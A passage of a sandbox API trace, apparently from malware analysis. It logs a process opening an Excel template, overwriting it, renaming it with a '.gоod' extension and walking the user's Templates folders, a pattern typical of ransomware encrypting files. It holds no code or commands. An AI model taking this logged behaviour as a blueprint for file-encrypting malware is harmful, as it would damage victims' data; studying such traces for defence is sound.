Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0257.763] GetFileType (hFile=0x768) returned 0x1 [0257.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0257.763] GetFileType (hFile=0x768) returned 0x1 [0257.763] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x1000 [0257.763] ReadFile (in: hFile=0x768, lpBuffer=0x3c87e10, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecdc8, lpOverlapped=0x0 | out: lpBuffer=0x3c87e10*, lpNumberOfBytesRead=0x204ecdc8*=0x1000, lpOverlapped=0x0) returned 1 [0258.008] CloseHandle (hObject=0x768) returned 1 [0258.113] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", lpFilePart=0x0) returned 0x49 [0258.113] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0258.113] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0258.113] GetFileType (hFile=0x828) returned 0x1 [0258.113] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0258.113] GetFileType (hFile=0x828) returned 0x1 [0258.149] SetFilePointer (in: hFile=0x828, lDistanceToMove=0, lpDistanceToMoveHigh=0x204ecdf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x204ecdf8*=0) returned 0x78dd2 [0258.149] WriteFile (in: hFile=0x828, lpBuffer=0x37cba70*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x204ecce8, lpOverlapped=0x0 | out: lpBuffer=0x37cba70*, lpNumberOfBytesWritten=0x204ecce8*=0x10, lpOverlapped=0x0) returned 1 [0258.150] CloseHandle (hObject=0x828) returned 1 [0258.150] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", lpFilePart=0x0) returned 0x49 [0258.150] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0258.150] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0258.150] GetFileType (hFile=0x828) returned 0x1 [0258.150] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0258.151] GetFileType (hFile=0x828) returned 0x1 [0258.151] ReadFile (in: hFile=0x828, lpBuffer=0x37cdd88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x204ecd78, lpOverlapped=0x0 | out: lpBuffer=0x37cdd88*, lpNumberOfBytesRead=0x204ecd78*=0x1000, lpOverlapped=0x0) returned 1 [0258.177] CloseHandle (hObject=0x828) returned 1 [0258.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", nBufferLength=0x105, lpBuffer=0x204ec780, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", lpFilePart=0x0) returned 0x49 [0258.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecca0) returned 1 [0258.177] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x828 [0258.177] GetFileType (hFile=0x828) returned 0x1 [0258.177] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecc10) returned 1 [0258.177] GetFileType (hFile=0x828) returned 0x1 [0258.177] WriteFile (in: hFile=0x828, lpBuffer=0x37ccac8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x204ece28, lpOverlapped=0x0 | out: lpBuffer=0x37ccac8*, lpNumberOfBytesWritten=0x204ece28*=0x1010, lpOverlapped=0x0) returned 1 [0258.177] CloseHandle (hObject=0x828) returned 1 [0258.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx", lpFilePart=0x0) returned 0x49 [0258.177] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.gоod", nBufferLength=0x105, lpBuffer=0x204ec8d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.gоod", lpFilePart=0x0) returned 0x4e [0258.177] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ecd60) returned 1 [0258.178] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), fInfoLevelId=0x0, lpFileInformation=0x204ece40 | out: lpFileInformation=0x204ece40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xacac166f, ftCreationTime.dwHighDateTime=0x1d327b5, ftLastAccessTime.dwLowDateTime=0xacac166f, ftLastAccessTime.dwHighDateTime=0x1d327b5, ftLastWriteTime.dwLowDateTime=0x96187be2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x78de2)) returned 1 [0258.178] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ecd20) returned 1 [0258.178] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\Welcome to Excel.xltx.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\templates\\welcome to excel.xltx.gоod")) returned 1 [0258.178] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0258.178] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpFilePart=0x0) returned 0x3f [0258.178] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0258.179] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.179] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0258.180] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 0 [0258.180] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0258.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0258.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0258.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ec5c0) returned 1 [0258.180] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", nBufferLength=0x105, lpBuffer=0x204ec060, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent", lpFilePart=0x0) returned 0x3f [0258.180] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\*", lpFindFileData=0x204ec2e0 | out: lpFindFileData=0x204ec2e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0258.180] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.180] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16", cAlternateFileName="")) returned 1 [0258.181] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204ec2a0 | out: lpFindFileData=0x204ec2a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.181] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0258.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec500) returned 1 [0258.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ec4c0) returned 1 [0258.181] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0258.181] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpFilePart=0x0) returned 0x42 [0258.181] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b220 [0258.181] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.181] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Managed", cAlternateFileName="")) returned 1 [0258.182] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0258.182] FindNextFileW (in: hFindFile=0x134b220, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 0 [0258.182] FindClose (in: hFindFile=0x134b220 | out: hFindFile=0x134b220) returned 1 [0258.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0258.182] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0258.182] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ebb90) returned 1 [0258.182] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", nBufferLength=0x105, lpBuffer=0x204eb630, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", lpFilePart=0x0) returned 0x42 [0258.182] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\*", lpFindFileData=0x204eb8b0 | out: lpFindFileData=0x204eb8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a860 [0258.182] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.182] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Managed", cAlternateFileName="")) returned 1 [0258.183] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0258.183] FindNextFileW (in: hFindFile=0x134a860, lpFindFileData=0x204eb870 | out: lpFindFileData=0x204eb870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.183] FindClose (in: hFindFile=0x134a860 | out: hFindFile=0x134a860) returned 1 [0258.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204ebad0) returned 1 [0258.183] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eba90) returned 1 [0258.183] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0258.183] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpFilePart=0x0) returned 0x4a [0258.183] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134afe0 [0258.374] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.374] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0258.374] FindNextFileW (in: hFindFile=0x134afe0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0258.374] FindClose (in: hFindFile=0x134afe0 | out: hFindFile=0x134afe0) returned 1 [0258.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0258.374] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0258.374] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204eb160) returned 1 [0258.374] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", nBufferLength=0x105, lpBuffer=0x204eac00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", lpFilePart=0x0) returned 0x4a [0258.374] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x204eae80 | out: lpFindFileData=0x204eae80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0258.375] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0258.375] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0258.375] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x204eae40 | out: lpFindFileData=0x204eae40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0258.375] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0258.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb0a0) returned 1 [0258.375] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x204eb060) returned 1 [0258.375] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x204ea730) returned 1 [0258.375] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", nBufferLength=0x105, lpBuffer=0x204ea1d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", lpFilePart=0x0) returned 0x5a [0258.375] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x204ea450 | out: lpFindFileData=0x204ea450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, 